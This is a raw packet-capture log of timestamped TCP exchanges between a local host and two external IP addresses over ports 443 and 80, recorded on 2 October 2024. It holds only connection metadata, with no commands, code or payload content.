Oct 2, 2024 17:16:54.999800920 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.999819040 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.999871016 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.999886036 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.999917030 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.999934912 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.006337881 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.006355047 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.006423950 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.006434917 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.006484032 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.034821987 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.034846067 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.034955025 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.034987926 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.035079956 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.050972939 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.050992966 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.051064968 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.051083088 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.051126957 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.061561108 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.061578989 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.061690092 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.061703920 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.061744928 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.063555956 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.063572884 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.063623905 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.063633919 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.063677073 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.066334009 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.066349983 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.066405058 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.066416025 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.066472054 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.071434021 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.071450949 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.071511984 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.071523905 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.071598053 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.086911917 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.086934090 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.087014914 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.087030888 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.087069035 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.092710018 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.092729092 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.092801094 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.092818022 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.092875004 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.121094942 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.121114969 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.121196985 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.121211052 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.121252060 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.137054920 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.137089014 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.137134075 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.137164116 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.137197018 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.137218952 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.147861004 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.147877932 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.147974014 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.147985935 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.148129940 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.149703026 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.149729967 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.149770975 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.149785042 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.149825096 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.149842978 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.152539968 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.152561903 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.152621031 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.152633905 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.152663946 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.152683020 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.157835960 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.157860994 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.157958984 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.157988071 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.158334970 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.172413111 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.172458887 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.172545910 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.172558069 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.172682047 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.178889990 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.178916931 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.178962946 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.178977966 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.179006100 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.179028988 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.207393885 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.207425117 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.207519054 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.207571030 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.207587957 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.207676888 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.223370075 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.223403931 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.223443031 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.223468065 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.223499060 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.223515034 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.444402933 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.444421053 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.444443941 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.444498062 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.444535017 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.444554090 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.444587946 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.444709063 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.444730997 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.444796085 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.444802046 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.444845915 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.445342064 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.445364952 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.445408106 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.445414066 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.445439100 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.445460081 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.446080923 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.446099043 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.446161032 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.446168900 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.446338892 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.446523905 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.446537971 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.446585894 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.446594000 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.446902037 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.447164059 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.447177887 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.447216988 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.447223902 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.447246075 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.447273016 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.447607040 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.447622061 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.447673082 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.447679996 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.447720051 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.448407888 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.448421955 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.448544979 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.448553085 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.448663950 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.448978901 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.448992968 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.449033976 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.449043989 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.449079990 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.449470997 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.449486017 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.449537992 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.449546099 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.449755907 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.450395107 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.450409889 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.450474024 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.450480938 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.450624943 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.450889111 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.450906992 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.450949907 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.450958014 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.451010942 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.451231956 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.451246977 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.451302052 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.451309919 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.451380968 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.451908112 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.451940060 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.451970100 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.451973915 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.451997995 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:55.452016115 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.452039957 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.453949928 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:55.453970909 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:56.099765062 CEST	65250	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:56.099819899 CEST	443	65250	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:56.099934101 CEST	65250	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:56.100477934 CEST	65250	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:56.100495100 CEST	443	65250	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:56.742172956 CEST	443	65250	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:56.742238045 CEST	65250	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:56.742770910 CEST	65250	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:56.742779970 CEST	443	65250	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:56.744852066 CEST	65250	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:56.744857073 CEST	443	65250	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:56.744895935 CEST	65250	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:56.744899988 CEST	443	65250	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:57.527839899 CEST	65255	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:57.527945042 CEST	443	65255	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:57.528034925 CEST	65255	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:57.528537035 CEST	65255	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:57.528569937 CEST	443	65255	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:57.608092070 CEST	443	65250	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:57.608180046 CEST	443	65250	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:57.608192921 CEST	65250	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:57.608237028 CEST	65250	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:57.609437943 CEST	65250	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:57.609457016 CEST	443	65250	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:58.208511114 CEST	443	65255	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:58.208585024 CEST	65255	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:58.209079981 CEST	65255	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:58.209096909 CEST	443	65255	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:58.211395979 CEST	65255	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:58.211412907 CEST	443	65255	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:58.919748068 CEST	443	65255	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:58.919776917 CEST	443	65255	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:58.919848919 CEST	443	65255	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:58.919846058 CEST	65255	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:58.919874907 CEST	65255	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:58.919939041 CEST	65255	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:58.920485973 CEST	65255	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:58.920509100 CEST	443	65255	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:58.924477100 CEST	65257	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:58.924524069 CEST	443	65257	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:58.924921989 CEST	65257	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:58.925256014 CEST	65257	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:58.925266981 CEST	443	65257	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:59.677294970 CEST	443	65257	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:59.677367926 CEST	65257	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:59.677900076 CEST	65257	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:59.677908897 CEST	443	65257	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:59.679971933 CEST	65257	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:59.679976940 CEST	443	65257	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:00.390440941 CEST	443	65257	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:00.390465021 CEST	443	65257	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:00.390537024 CEST	443	65257	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:00.390537024 CEST	65257	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:00.390578985 CEST	65257	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:00.390851021 CEST	65257	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:00.390872955 CEST	443	65257	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:00.417577028 CEST	65258	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:00.417618036 CEST	443	65258	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:00.417696953 CEST	65258	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:00.417973995 CEST	65258	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:00.417985916 CEST	443	65258	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:01.282188892 CEST	443	65258	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:01.282365084 CEST	65258	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:01.282867908 CEST	65258	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:01.282881021 CEST	443	65258	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:01.285552025 CEST	65258	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:01.285557985 CEST	443	65258	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:01.968313932 CEST	443	65258	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:01.968405962 CEST	443	65258	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:01.968466043 CEST	65258	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:01.969626904 CEST	65258	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:01.969650984 CEST	443	65258	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:02.483436108 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:02.483485937 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:02.483572006 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:02.483894110 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:02.483905077 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:03.143958092 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:03.144032955 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:03.208092928 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:03.208141088 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:03.211524010 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:03.211591959 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:03.211652040 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:03.211682081 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:03.211793900 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:03.211837053 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:03.212040901 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:03.212075949 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:03.212188005 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:03.212208033 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:03.212219954 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:03.212224007 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:04.529041052 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:04.529124022 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:04.529130936 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:04.529179096 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:04.529458046 CEST	65261	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:04.529478073 CEST	443	65261	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:04.534115076 CEST	65262	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:04.534147978 CEST	443	65262	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:04.534226894 CEST	65262	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:04.534461021 CEST	65262	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:04.534470081 CEST	443	65262	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:05.186994076 CEST	443	65262	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:05.187069893 CEST	65262	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:05.187844992 CEST	65262	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:05.187856913 CEST	443	65262	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:05.190150023 CEST	65262	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:05.190160990 CEST	443	65262	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:06.170445919 CEST	443	65262	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:06.170536995 CEST	65262	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:06.170556068 CEST	443	65262	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:06.170571089 CEST	443	65262	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:06.170614004 CEST	65262	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:06.170906067 CEST	65262	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:06.170921087 CEST	443	65262	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:06.184222937 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.189428091 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.189548016 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.189735889 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.194777966 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841145992 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841178894 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841196060 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841211081 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841226101 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841227055 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.841238976 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841249943 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841262102 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841268063 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.841275930 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841286898 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.841315985 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.841335058 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.846263885 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.846324921 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.846425056 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.846455097 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.846472979 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.846494913 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.931179047 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.931204081 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.931221008 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.931267977 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.931276083 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.931276083 CEST	65263	80	192.168.2.6	147.45.44.104
